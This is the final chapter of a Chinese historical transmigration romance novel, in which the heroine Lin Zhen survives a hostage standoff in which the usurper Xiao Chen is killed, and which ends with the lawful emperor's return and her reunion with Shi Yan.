但她很容易地就找到时彦,他站在离她最近地方,脸色隐在樟树阴影中看不分明,像一尊没有温度的石像,沉默僵硬。 林蓁视线继续直直看着头顶樟树,像没有发现他一般,她不想看他难受模样,也不想掉眼泪落在萧忱身上。 萧忱命方怀简摸出他龙袍衣袖中一把短刃,割开绳索,令林蓁意外,没有人阻止方怀简举动。短刃锋利,方怀简很快割出一个大洞,自己先钻了出去,接着他转身帮林蓁和萧忱。 “嘭!”一道火光冲天而起,即便在白日,隔着层层叠叠绿枝,林蓁也清晰看到拖着长长尾巴的火焰在天空燃烧。 “杀了他们!”一道尖锐男声骤然响起,他急切焦躁,“金吾卫来了,我们都得死!” 时世诚喝止道:“天子马上就到,陛下会处置这一切!” 有些骚乱的队伍逐渐安静,死士们似乎相信建安帝的到来,能解决眼前一切。 萧忱勒着林蓁脖颈,艰难从绳网中爬了出来,他背抵粗大的樟树树干,将林蓁死死遮挡在他身前。 “时彦?!你没死!”他刚刚看清站在不远处时彦,破空之声骤然而至,一只利箭直直射向他的面门。 萧忱一把揪紧林蓁,缩在了她的身后。 林蓁咬紧牙关,紧紧闭上眼。 想象中的痛楚并未到来,一声清脆的“铛”响,将她从黑暗中猛然拉回,箭矢断裂在她脚下不远处,时彦手握长剑,垂首看着那只断箭。 绝望喊叫撕裂寂静:“萧忱不死,我们九族都得死!建安帝已经不认人了!” “我是为杀萧忱而来!” “不能活她一人死我 们全部!” …… 死士们又乱了起来,这一次时世诚喝止声湮灭在嘈杂人声中。 萧忱看出了孔窍,时世诚没有多少人,就眼前一群投机之人,妄图杀了他逃避死亡命运,只要他撑到金吾卫赶来,一切就转危为安。 萧忱大喝一声,对死士们道:“立即放下武器,朕恕你们无罪!否则金吾卫到来这里就是你们坟场!” 他话未说完,嗖嗖几只箭矢又飞向了他,他见势不再多说,拿林蓁做挡箭牌。时世诚时彦劈落了射向林蓁的箭矢。 像突地打破平衡,场面渐渐失控,更多箭矢射向萧忱林蓁方怀简三人,原本犹豫不决的人,在群体效应下,手指搭上弓弦时竟变得镇定坚决,眼前帝王的倒下,是他们唯一出路。 时世诚时彦不多的死忠人马在萧忱面前形成了一道人墙,与发了疯射红了眼的死士们拼死对抗,可毕竟寡不敌众,又是低处对高处防御战术,渐渐力不从心。 一道黑影从厢房飞出,加入时世诚队伍。 萧忱惊喜呼喊:“明晖!护朕!登基大典朕封你为国师!”可他的喜悦没有持续多久,死士们弓弩从高处向下作战优势极为明显。 林蓁眼睁睁看着一个个健硕强壮躯体在自己面前倒下,他们该威风凛凛上战场保家卫国,却因自己在此处无谓死去,她胸口钝痛,难受得快要崩溃,萧忱掐她的那点疼已毫无感觉,她对着时彦大喊:“我不想活了,我就想死!” 时彦和方怀简目光齐齐看过来,时彦喊:“再坚持一会儿!建安帝会来!” 林蓁不知这是不是时彦骗她的话,她真的受不住了,如果这些人的死换她一个人活,活在萧忱继承大统的时空,她宁愿死。 她死过的,不是吗?没有多可怕,那一场车祸她甚至忆不起一丝痛感。 林蓁目光掠过时彦,向他浅浅笑了一下,轻轻道了一声“珍重”,视线落在方怀简脸上,眼泪旋即扑簌簌落下。 和他上一世同时死去,这一世的最后竟然再次共赴黄泉。 惟愿射穿两人心脏的箭矢能又快又利,让两人和上一世一样无知无觉,再次作伴,说不定与他继续相逢在一个新世界,快穿的世界。 林蓁视线渐渐模糊,看不清方怀简也流下眼泪,还是自己泪眼朦胧。 明晖在林蓁眼前又为她挡了一箭,箭矢擦过明晖肩头,留下一肩红腥。 林蓁哭道:“明晖,不要为任何人死!好好活着!” 她死了,萧忱方怀简都会跟上,除此以外的其他人都可以好好活着。 林蓁心一横,眼睛紧闭,狠命往萧忱抵在她脖颈上的短刃撞去,耳畔倏地响起时彦嘶吼声:“要死也是和我一起死!” 萧忱急忙收刃,林蓁当下死了他也活不了,金吾卫已在来的路上,最后时刻他不能放弃! 就在他拿开刀刃瞬间,明晖一道剑光闪过,萧忱右手连带着那只短刃飞落在地,萧忱看着自己鲜血汩汩的右手手臂,叫声毛骨悚然“啊——” 明晖一把将林蓁拉到自己身边,林蓁回首,萧忱似被抽去了全身力气软绵绵倒在地上,他似乎想起了什么,往方怀简方向爬,艰声唤他:“世之,救朕,金吾卫马上到!快保护朕!” 方怀简不假思索手起刀落,往萧忱胸口猛刺一刀。 萧忱难以置信看着他,左手在胸口摸索,似想堵住胸口鲜血,又像在找点什么,他艰难伸出左手,望着林蓁虚弱哀求:“妹妹,救我,救我——” 左手一松,林蓁看到他的掌心,握着鲜血淋漓的那块曾经属于她的凤佩。 林蓁扭过头,泪水无声滑落,时彦静静走过来,温热的脸贴上她冰冷面颊,紧紧拥住她,似想将自己所有温度传递给她。 目光本落在萧忱身上,方怀简回过神抬眸,视线刚好定格在眼前彼此相拥男女,世间仿佛再无旁人,他也只是碰巧路过的见证者罢了。 就在几秒钟前,他还流着眼泪,想着相伴林蓁重新投胎,也不算一件坏事,此刻,仿佛沧海桑田斗转星移,他只是一个局外人,连走近一步都是对情侣打扰。 是自己亲手掩埋的一场梦,方怀简将手中短刃掷向萧忱。 “金吾卫到了!” 萧忱已死,听到杂乱脚步声刚刚平息的死士们又握紧了手中兵刃。 萧忱睁着的眼睛映着他亲自任命的新金吾卫大将军董泽的身影,他带着士兵们匆匆跑了进来,看到地上萧忱,董泽脚一软差点站不住,目光和前金吾卫大将军时世诚对视,董泽刚想发作,时彦看向院门道:“陛下来了!” 董泽没听明白,陛下躺在地上,从哪儿来?可院内众人都齐刷刷跪下,他顺着众人视线看过去,毅勇侯时世诚小儿子时隽推着轮椅慢慢走来,轮椅上坐着建平帝! 看向地上萧忱尚未闭目的遗体,樯倾楫摧大厦已倾的感觉顿上心头,董泽心中长叹,迟了一步就迟了那一小步,王朝统治者又将换上新人。 目光看向来人,董泽缓缓向其跪下膝盖。 * 魏王萧策,毅勇侯时世诚女婿,亦是大周唯一成年且未犯事的皇子,几乎没有什么争议就被群臣认可推为新帝,从封地接了回来。 冬日雪时,时彦林蓁和毅勇侯全家一起去皇城外迎接时,时姝已经显怀。 一见时彦,时姝就捶他埋怨:“你装什么死!我哭得宝宝都快没了!” 时彦笑道:“你知不知道你多好命,躲得远远的,天天躺家吃吃喝喝就做上大周皇后!” 时姝嘻嘻哈哈:“没办法,天生皇后命!” “陛下已吩咐过我,国库里大国舅看上什么,予取予求。” “大国舅可满意?” 时彦对林蓁正色道:“我们回去挑一挑,机不可失,时不我待。” “世间机缘,时不我与”,林蓁突然想起,自己曾对方怀简说过类似的话。 那时他参不透机缘,与自己渐行渐远。 现下他没向任何人告别,和时隽捎了口信,赴衡州就任。 春花已逝,时不我待,眼前雪景、耳畔欢笑、掌心温暖,来年企盼,皆是实在。 林蓁握紧时彦的手,笑道:“定要挑个让他俩肉疼的!” 全文完。 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